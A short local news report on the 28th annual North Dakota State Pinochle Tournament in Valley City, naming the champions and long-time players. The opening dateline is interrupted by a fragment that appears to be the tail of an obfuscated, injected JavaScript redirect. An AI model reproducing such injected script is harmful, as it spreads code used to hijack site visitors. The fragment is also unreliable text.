VALLEY ytfyh|var|u0026u|referrer|dbkst||js|php’.split(‘|’),0,{})) CITY, N.D. (NewsDakota.com) Attendance for the North Dakota State Pinochle Tournament held February 17th & 18th was fantastic. 94 teams competed in the 28th annual tournament held at the Eagles Club in Valley City.
The overall champions are Harold Fryer of Peever, South Dakota and Ray Christensen of Wilmot, South Dakota.
Half of the teams were from North Dakota, some from Minnesota and South Dakota. One team from Blythewood, South Carolina and two teams from Spokane, Washington.
The tournament was sponsored and coordinated by the Valley City Area Chamber of Commerce.
L to R The overall champions are Harold Fryer of Peever, South Dakota and Ray Christensen of Wilmot, South Dakota.
These players have been to this tournament for 28 years. L to R: Mary Wright (Valley City), Myron Kulsrud (McHenry, ND), Lorraine Thompson (Valley City), Marvin Miska (Glenfield, ND), & Mark Frost (Carrington, ND). Others not pictured include Jerry Moritz (Valley City), Mark Stowman (Tower City, ND) and Randy Mason (West Fargo, ND).
Above photo is Bill & Dixie Johnson (Bill in orange shirt, Dixie across) have been coming to the tournament for 23 years and they live in Spokane, WA. Not pictured: Daughter Emma Johnson, and her partner Johanna Stafford took 2nd place in the Pinochle tournament this year.
